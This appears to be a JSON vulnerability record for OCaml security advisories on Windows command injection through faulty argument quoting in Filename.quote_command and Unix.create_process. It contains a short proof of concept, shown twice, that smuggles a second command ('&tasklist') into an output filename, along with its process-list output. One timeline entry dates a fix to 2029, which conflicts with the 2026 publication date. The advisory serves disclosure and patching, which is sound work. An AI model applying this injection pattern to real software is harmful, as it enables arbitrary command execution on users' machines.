{"id":"CVE-2026-41083","aliases":["OSEC-2026-05","OSEC-2026-24"],"status":"published","title":"Windows command execution via filename quotes.","description":"The quoting of stdin/stdout/stderror (using `Filename.quote_command`) on Windows is not sufficient, and allows the `\u0026` character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.\n\n## Exploit\n\n```bash\n$ opam exec -- ocaml\nOCaml version 4.14.2\nEnter #help;; for help.\n\n# let outfile = \"x\u0026tasklist\" in\n  let cmd = Filename.quote_command \"netsh.exe\" ~stdout:outfile [\"help\"] in\n  ignore (Sys.command cmd)\n  ;;\n\nImage Name                     PID Session Name        Session#    Mem Usage\n========================= ======== ================ =========== ============\nSystem Idle Process              0 Services                   0          8 K\nSystem                           4 Services                   0        168 K\nSecure System                  236 Services                   0    191,468 K\nRegistry                       276 Services                   0      3,428 K\nsmss.exe                       608 Services                   0      1,676 K\ncsrss.exe                      984 Services                   0      5,928 K\n```\n\n## Timeline\n\n- 2026-06-18 release of this security advisory\n- 2026-06-15 release of OCaml 4.14.4\n- 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853\n- 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org","severity":{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high","from":"osv"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"published":"2026-06-18T13:45:00Z","modified":"2026-11-06T13:45:03Z","fixes":[{"ecosystem":"opam","package":"ocaml","fixed_in":["4.14.4","5.5.0","4.14.5","5.5.2"],"sources":["osv"]}],"affected":[{"source":"osv","ecosystem":"opam","package":"ocaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.14.4"}]},{"type":"ECOSYSTEM","events":[{"introduced":"5"},{"fixed":"5.5.0"}]}],"versions":["3.07","3.07+1","3.07+2","3.08.0","3.08.1","3.08.2","3.08.3","3.08.4","3.09.0","3.09.1","3.09.2","3.09.3","3.10.0","3.10.1","3.10.2","3.11.0","3.11.1","3.11.2","3.12.0","3.12.1","4.00.0","4.00.1","4.01.0","4.02.0","4.02.1","4.02.2","4.02.3","4.02.4","4.03.0","4.03.1","4.04.0","4.04.1","4.04.2","4.04.3","4.05.0","4.05.1","4.06.0","4.06.1","4.06.2","4.07.0","4.07.1","4.07.2","4.08.0","4.08.1","4.08.2","4.09.0","4.09.1","4.09.2","4.10.0","4.10.1","4.10.2","4.10.3","4.11.0","4.11.1","4.11.2","4.11.3","4.12.0","4.12.1","4.12.2","4.13.0","4.13.1","4.13.2","4.14.0","4.14.1","4.14.2","4.14.3","5.0.0","5.0.1","5.1.0","5.1.1","5.1.2","5.2.0","5.2.1","5.2.2","5.3.0","5.3.1","5.4.0","5.4.1","5.4.2"]},{"source":"osv","ecosystem":"opam","package":"ocaml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.14.5"}]},{"type":"ECOSYSTEM","events":[{"introduced":"5"},{"fixed":"5.5.2"}]}],"versions":["3.07","3.07+1","3.07+2","3.08.0","3.08.1","3.08.2","3.08.3","3.08.4","3.09.0","3.09.1","3.09.2","3.09.3","3.10.0","3.10.1","3.10.2","3.11.0","3.11.1","3.11.2","3.12.0","3.12.1","4.00.0","4.00.1","4.01.0","4.02.0","4.02.1","4.02.2","4.02.3","4.02.4","4.03.0","4.03.1","4.04.0","4.04.1","4.04.2","4.04.3","4.05.0","4.05.1","4.06.0","4.06.1","4.06.2","4.07.0","4.07.1","4.07.2","4.08.0","4.08.1","4.08.2","4.09.0","4.09.1","4.09.2","4.10.0","4.10.1","4.10.2","4.10.3","4.11.0","4.11.1","4.11.2","4.11.3","4.12.0","4.12.1","4.12.2","4.13.0","4.13.1","4.13.2","4.14.0","4.14.1","4.14.2","4.14.3","4.14.4","5.0.0","5.0.1","5.1.0","5.1.1","5.1.2","5.2.0","5.2.1","5.2.2","5.3.0","5.3.1","5.4.0","5.4.1","5.4.2","5.5.0","5.5.1"]}],"references":[{"url":"https://github.com/ocaml/ocaml/pull/14853","tags":["fix"]}],"sources":{"osv":[{"id":"OSEC-2026-05","title":"Windows command execution via filename quotes.","description":"The quoting of stdin/stdout/stderror (using `Filename.quote_command`) on Windows is not sufficient, and allows the `\u0026` character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.\n\n## Exploit\n\n```bash\n$ opam exec -- ocaml\nOCaml version 4.14.2\nEnter #help;; for help.\n\n# let outfile = \"x\u0026tasklist\" in\n  let cmd = Filename.quote_command \"netsh.exe\" ~stdout:outfile [\"help\"] in\n  ignore (Sys.command cmd)\n  ;;\n\nImage Name                     PID Session Name        Session#    Mem Usage\n========================= ======== ================ =========== ============\nSystem Idle Process              0 Services                   0          8 K\nSystem                           4 Services                   0        168 K\nSecure System                  236 Services                   0    191,468 K\nRegistry                       276 Services                   0      3,428 K\nsmss.exe                       608 Services                   0      1,676 K\ncsrss.exe                      984 Services                   0      5,928 K\n```\n\n## Timeline\n\n- 2026-06-18 release of this security advisory\n- 2026-06-15 release of OCaml 4.14.4\n- 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853\n- 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org","status":"published","published":"2026-06-18T13:45:00Z","modified":"2026-11-06T13:45:02.608302109Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-06T14:15:38.472989Z"},{"id":"OSEC-2026-24","title":"Multiple issues in command quoting on Windows","description":"ANT-2026-R7FKP7RG Win32 quote_cmd_filename misses pipe/redirect metacharacters\n\nANT-2026-SRZZ62SD Windows batch-file argument injection via maybe_quote/make_cmdline\n\nANT-2026-JPEWMPAB Win32 argument quoting leaves embedded CR/LF unescaped\n\nAlso includes the fix for [OSEC-2026-05](https://osv.dev/vulnerability/OSEC-2026-05)\n\n`Filename.quote_command` returns a quoted command line, suitable for use as an argument to `Sys.command`, `Unix.system`, and the `Unix.open_process` functions.\nHowever on Windows certain characters weren't properly escaped.\n\n`Unix.create_process` can invoke `.bat` or `.cmd` programs on Windows, and certain characters were accepted that cannot be quoted safely.\n\n## Fix\n\n`Filename.quote_command` has been updated to correctly quote arguments.\n`Unix.create_process*` has been updated to reject arguments that cannot be safely quoted by raising `Failure`:\n\u003e  if the program [prog] is a [.bat] or [.cmd]\n\u003e  script and either [prog] or [args] contain characters that cannot be\n\u003e  securely passed to a script, such as [\" | \u0026 , ; \u003c = \u003e ^ % \"].\n\u003e  If you really need to pass these characters to a script, consider\n\u003e  using {!Unix.system} instead.\n\n## Am I affected?\n\nIf you use `Filename.quote_command` on Windows with user supplied arguments.\nIf you use `Unix.create_process*` or `Unix.open_process*` on Windows with `.bat` or `.cmd` programs, and user supplied arguments.\n\n## Timeline\n\n- 2026-08-24: vulnerability was found\n- 2026-08-27: forwarded report to security@ocaml.org\n- 2029-09-05: fix merged to trunk","status":"published","published":"2026-10-23T21:30:00Z","modified":"2026-11-06T13:45:03.768961279Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-06T14:15:37.082672Z"}]}}